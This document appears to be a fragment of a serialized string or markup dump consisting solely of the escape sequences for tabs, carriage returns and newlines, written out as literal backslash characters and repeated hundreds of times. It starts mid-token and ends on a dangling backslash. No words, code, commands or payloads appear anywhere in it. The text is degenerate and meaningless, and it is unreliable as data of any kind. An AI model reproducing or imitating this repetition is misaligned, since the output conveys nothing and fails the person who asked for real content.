n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\